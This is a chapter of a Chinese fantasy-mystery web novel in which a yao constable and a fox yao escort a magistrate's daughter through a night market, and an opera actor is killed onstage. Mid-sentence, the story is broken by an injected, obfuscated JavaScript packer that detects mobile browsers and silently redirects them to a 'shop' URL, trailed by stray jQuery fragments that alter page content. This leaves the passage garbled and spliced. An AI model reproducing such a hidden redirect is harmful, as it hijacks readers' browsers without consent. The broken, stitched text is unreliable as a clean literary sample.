“辛公子,徐小姐到了,您快出去吧。”差役在外面传话。
陆学盈握笔的手轻轻一顿,晕开一小块墨点。她立即从椅子上站起身,轻手轻脚走到门帘旁边,仔细听隔壁书房的动静。
推门声响起,脚步匆匆走远。
陆学盈手上还攥着鼠须笔,墨水就这样滴滴答答落了一地。
中秋之后,徐宝意便常常到府衙里走动,说是来探望徐远青,却隔三差五往辛六郎那儿送些精致吃食,梨条、枣圈、灌藕、酿栗子……将他那方本来就不大的书案堆得满满当当。
陆学盈看在眼里,却不知该从何说起。
那日湖畔,辛六郎那句“你可知李将军的心意”,像在她嘴边施了禁言咒,几次话到嘴边,又被自己按了回去。
幸而李以诺奉命去了西南,否则她还真要费神思考如何应付。
李以诺是她到人间交的第一个朋友。她欣赏他一身本领却不张扬,当了将军也没有半分摆架子的款,待她一如往昔。
如换作人间女子,得知他对自己有意,多少会有些欢喜。
但陆学盈不是。
人妖殊途是铁律,若真逾了矩,乱了天理伦常,莫说辛六郎这般修行化形的妖,便是陆学盈这种生来便具人形的大妖,只怕也要被押入诛妖池,落个魂飞魄散的下场。
不过,自那日回到衙门之后,她与辛六郎之间似乎生出了默契,谁也不再提当天的事情。陆学盈本觉此事暂告一段落,可以专心工作,不料徐宝意偏偏在此时又杀了出来。
“万一这狐狸不守妖德,惹出什么风波来……”陆学盈自言自语。身为师尊唯一的徒儿、妖界的臣工、承州的总捕头,她必须将这苗头早早掐灭。
于是,她将门帘一掀,冲了出去。
后园凉亭下,两人对坐。徐宝意一身鹅黄郁金裙,正举着一把细画团扇,对辛六郎说着什么。
“徐小姐!”陆学盈灿烂一笑,走上台阶,“又来找徐大人么?”
辛六郎身穿天碧色长衫,看过来的眼神像波光一样明亮,表情却是平静如水。
徐宝意偏头看来,柔柔笑道:“陆姑娘来了,妾身方才已见过家父。”她手指纤纤轻转象牙扇柄,将扇面转向陆学盈,又道:“瞧,这是妾身前几日从夜市新得的扇子,正请辛公子品鉴呢。”鸳鸯扇坠随着她的动作轻轻摇晃,衬得她眉眼愈发灵动。
陆学盈往扇面看了一眼,画的是闺阁女子倚立高楼思慕恋人的情态,确实画得细腻、工艺精湛。
“看来承州夜市果然有趣。”辛六郎从徐宝意手中接过扇子,端详片刻,若有所思地笑着。
“辛公子,”徐宝意目光落在自己腕间的纹金钳镯上,稍稍红了脸,“今夜一同去逛逛如何?”
辛六郎笑得舒展:“自然是好。”眼风一斜,看了一眼陆学盈,“陆大人,是否同去?”
陆学盈心想正合我意,面上却看向徐宝意:“徐小姐,不介意吧?”
“陆姑娘愿意同去,那更热闹了。”徐宝意的笑淡了些,峨眉轻蹙。
***
来承州五年,陆学盈还没好好逛过瓦肆夜市。以往来瓦肆,不是缉拿盗贼,就是巡逻调停,不曾想夜市上也竟也如此活色生香。
道路两旁灯火万千,货郎推车叫卖,商户坐列迎客,商品五花八门,吃食香气四溢,难怪行人如织、昼夜不绝。陆学盈不觉看得入神。
“辛公子,你看这绣作,针脚实在精巧。”徐宝意一声软语,将陆学盈的目光从摊贩处吸引回来。
辛六郎凑近观看,点了点头:“徐小姐想买?”
“是。”徐宝意勾唇浅笑,眼神有意无意往他脸上瞥过。
“陆大人呢?”辛六郎转过头来,“可有中意的?在下一并付了。”
陆学盈突然被他唤一声,便脱口道:“我不爱这些小玩意。”话说出口才觉不对,又补上一句,“不过这绣作确实别致,辛公子初来乍到,还是由我作东,买下赠予徐小姐吧。”
说罢,她一步挤入二人中间,还横了辛六郎一眼,伸手取下腰间荷包,抬头问摊主:“多少银钱?”
辛六郎被她得莫名其妙。
“妾身也只是随口一说,陆姑娘不必破费。”徐宝意顿觉扫兴,手一抬挽住陆学盈的手臂,“我们到前面勾栏处看看,说是今日有名角儿唱戏。”
陆学盈旧伤已愈,但还是灵机一动,道:“徐小姐,我这手臂受了伤,有些不便。”就把手从她臂间抽走。
徐宝意愣了一下,只好垂下手来往前走。
陆学盈收好荷包,不忘用手肘将辛六郎隔开些,随着徐宝意的脚步追了上去。
辛六郎一怔,只得落后几步,跟在二人后面。
“这瓦肆着实大,勾栏少说有二十座了吧?”见徐宝意一路沉默,陆学盈主动开了口,“又是歌舞百戏,又是踢瓶弄碗的,我还是头回见识。”
“陆姑娘好兴致。”徐宝意冷淡地回了一句。
陆学盈心里苦,徐宝意怕是已经恨上了她。都怪辛六郎,好端端招惹人间的姑娘,倒要她来费心拦阻。
行不多时,他们在勾栏中的牡丹棚前停住了。
“辛公子!”徐宝意往后招招手,“我们进去听一曲吧。这是承州名角朱英儿的场子,他专在这一处唱南戏,不像其他人还要去别瓦作场。”
辛六郎闻声而动,正欲上前,余光却捕捉到了一道紧紧盯着的目光。
他往右一看,针对上陆学盈带了几分警告的目光,只好朝徐宝意点点头,道一声“好”。
棚内台上是末脚正在开场,三人好不容易寻了块空地站定,陆学盈又成功地挤进两人中间,虽然能够清晰感觉到,徐宝意已经用眼神杀她千万次。
正戏拉幕开锣,一桌二椅,旁边竖了块屏风,乐队众伎在左侧演奏,在朱英儿缓步登场。身穿绿色襕衫,头戴纱帽,英姿勃勃。他今天唱的是生本,演的是个春风得意的儿郎,嗓音宛转清亮,悠悠唱道:
“幸能对酌,不应独醒。”【1】
拍板琳琅一响,唱得满堂彩。
原来今晚这出唱的是男子被雌狐所媚的故事。
演到道士登场,将那雌狐斩成三段,更是引得台下看客心中畅快,连连拍手。
陆学盈偷偷瞄了一眼辛六郎,他只一味摇扇,到处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029537|194522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张望,对台上所演似乎并不在意。
演到第三折,见徐宝意看得入迷,辛六郎暗暗扯了扯陆学盈的衣袖,悄声道:“大人今晚举止反常,是何故?”
“她对你有情,你也看出来了吧。”陆学盈迅速瞥了一眼徐宝意,不动声色道,“还是小心点。”
“如何小心?”辛六郎颇有些得意地笑了一声,“大人这是……不高兴了?”
陆学盈心想,若是现在戳破他的假面,倒也顺理成章。经山妖一战,他已破绽百出。
可万一他当真撂挑子,不愿意继续干顾问的活,跑去当徐家赘婿了,又该如何是好?
陆学盈思来想去,只好答:“你二人身份悬殊,我劝你早日放弃这个念头。”
“大人的意思是,若我门户与她相当……”辛六郎没有把话说完,嘴角一撇,透着不悦。
陆学盈无奈地压低声音:“本官的意思是……”
她的话还没说完,辛六郎忽然抬头看了一眼棚顶,又隔着她,拍了拍徐宝意的肩,小声说道:“在下去买碗粱秆熟水,去去就回。”说完转身钻入人群中。
陆学盈只好把剩下的话生生咽了下去。又听了两幕戏,她便对徐宝意道:“我也有点渴了,出去一趟。”
如此,便将徐宝意独自留在原地。
陆学盈在几座大棚间寻了一圈,都未见到辛六郎的身影,只得折返。
谁知回到原处,却见辛六郎早已回来,正附身贴近徐宝意耳侧,轻声说笑。
一晚上的功夫全白费了!
陆学盈怒从心起,戏也不想听了,转身便要走。
恰在此时,不知从何处传来一缕极淡的妖气,忽然飘至她鼻尖。
辛六郎几乎同时回首看来。
四目相对,二人心照不宣地点了点头。
陆学盈上前一步,低声对他道:“我去看看。”
辛六郎却一把抓住她的手腕,摇了摇头,声音有些嘶哑地说:“是……狐妖的味道。”
此时台上正演到武戏,朱英儿身法翻飞,枪花缭乱。
“嘭……”
几声大鼓决然而起,韵裂金石。
陆学盈不由得往台中央望去,只见朱英儿手持双刀,刚亮完几招干净利落的把子功,随即腰身一转,使出铁板桥的身段,身子直挺挺向后仰倒在地,正是演到人死后僵直的片段。
台下看客已经看呆,立即爆发出一阵叫好。
忽然间,从后台窜出来四五个人,直扑到朱英儿身旁。
几声尖呼猛然盖过满堂喝彩。
看客们愣了一会,随即涌向戏台,有几个胆大的径直跳上台去,场面顿时乱作一团。
陆学盈和辛六郎又对看一眼,快步抢到台上。
却见那朱英儿喉咙一道深痕,自己用手死死捂住脖颈,却挡不住血从指缝中喷涌而出,流泻满地。他嘴巴张大,双目圆睁,一直瞪着棚顶。
陆学盈和辛六郎立即抬头往顶上看去,上面却空空如也。
不到片刻,朱英儿双手一松,软软垂落,再没了气息。
众人霎时哗然一片,随即四散而逃,向门口涌去。